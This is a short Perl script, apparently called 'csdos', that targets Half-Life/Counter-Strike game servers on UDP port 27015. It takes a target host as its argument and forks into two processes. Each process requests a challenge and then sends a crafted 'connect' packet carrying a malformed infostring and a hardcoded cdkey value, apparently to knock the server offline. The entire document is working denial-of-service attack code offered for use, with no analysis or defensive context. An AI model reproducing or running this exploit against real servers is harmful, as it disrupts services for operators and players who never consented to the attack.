#!/usr/bin/perl
                          
use IO::Socket;

die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
            my $host=$_[0];
            my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
            die "Could not create socket: $!\n" unless $sock;
            $cmd="\xff\xff\xff\xff";
            syswrite $sock, $cmd."getchallenge";

            sysread $sock,$b,65535;  print $b,"\n";
            @c=split(/ /,$b);

            $c2=$c[1];

            $q=$cmd."connect 47/48 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}